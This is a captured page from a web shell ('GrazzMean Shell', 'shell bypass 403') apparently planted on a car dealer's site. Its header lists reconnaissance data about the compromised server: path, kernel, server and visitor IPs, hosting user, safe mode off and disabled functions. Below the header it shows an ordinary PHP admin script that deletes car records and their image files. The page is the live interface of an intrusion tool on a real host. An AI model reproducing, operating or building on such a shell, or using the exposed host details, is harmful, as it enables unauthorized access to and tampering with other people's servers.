shell bypass 403

GrazzMean Shell

: /var/www/vhosts/m-auto.co/httpdocs/admin/ [ drwxr-xr-x ]
Uname: Linux serv.m-auto.co 3.10.0-1160.42.2.el7.x86_64 #1 SMP Tue Sep 7 14:49:57 UTC 2021 x86_64
Software: nginx/1.28.2
PHP version: 8.1.34 [ PHP INFO ] PHP os: Linux
Server Ip: 41.215.243.19
Your Ip: 216.73.216.151
User: m-auto.co_vxasg6smqe (10000) | Group: psacln (1003)
Safe Mode: OFF
Disable Function:
opcache_get_status,mail

name : car_delete.php
<?php
include 'auth.php';
require_permission('cars_delete');
include '../includes/db.php';

if (isset($_GET['id'])) {
    $id = $_GET['id'];

    // First, get all images for this car to delete the files from server
    $stmt_select = $conn->prepare("SELECT image FROM cars WHERE id = ?");
    $stmt_select->bind_param("i", $id);
    $stmt_select->execute();
    $result = $stmt_select->get_result();
    
    if ($result->num_rows === 1) {
        $car = $result->fetch_assoc();
        $old_image_to_delete = $car['image'];

        // Get all images from car_images table
        $images_stmt = $conn->prepare("SELECT image_name FROM car_images WHERE car_id = ?");
        $images_stmt->bind_param("i", $id);
        $images_stmt->execute();
        $images_result = $images_stmt->get_result();
        $images_to_delete = [];
        while ($img = $images_result->fetch_assoc()) {
            $images_to_delete[] = $img['image_name'];
        }
        $images_stmt->close();

        // Start transaction
        $conn->begin_transaction();
        
        try {
            // Delete from car_images table first (due to foreign key constraint)
            $delete_images_stmt = $conn->prepare("DELETE FROM car_images WHERE car_id = ?");
            $delete_images_stmt->bind_param("i", $id);
            $delete_images_stmt->execute();
            $delete_images_stmt->close();
            
            // Now, delete the car record
            $stmt_delete = $conn->prepare("DELETE FROM cars WHERE id = ?");
            $stmt_delete->bind_param("i", $id);
            $stmt_delete->execute();
            $stmt_delete->close();
            
            // Commit transaction
            $conn->commit();
            
            // If DB deletion is successful, delete all image files
            // Delete old image if exists
            if (!empty($old_image_to_delete) && file_exists('../uploads/cars/' . $old_image_to_delete)) {
                unlink('../uploads/cars/' . $old_image_to_delete);
            }
            
            // Delete all images from car_images table
            foreach ($images_to_delete as $image_name) {
                if (file_exists('../uploads/cars/' . $image_name)) {
                    unlink('../uploads/cars/' . $image_name);
                }
            }
            
            header("Location: cars.php?success=تم حذف السيارة وجميع صورها بنجاح");
            
        } catch (Exception $e) {
            // Rollback transaction on error
            $conn->rollback();
            header("Location: cars.php?error=حدث خطأ أثناء الحذف: " . $e->getMessage());
        }
    } else {
        header("Location: cars.php?error=لم يتم العثور على السيارة");
    }
    $stmt_select->close();
    $conn->close();
} else {
    header("Location: cars.php");
    exit();
}
?>
© 2026 GrazzMean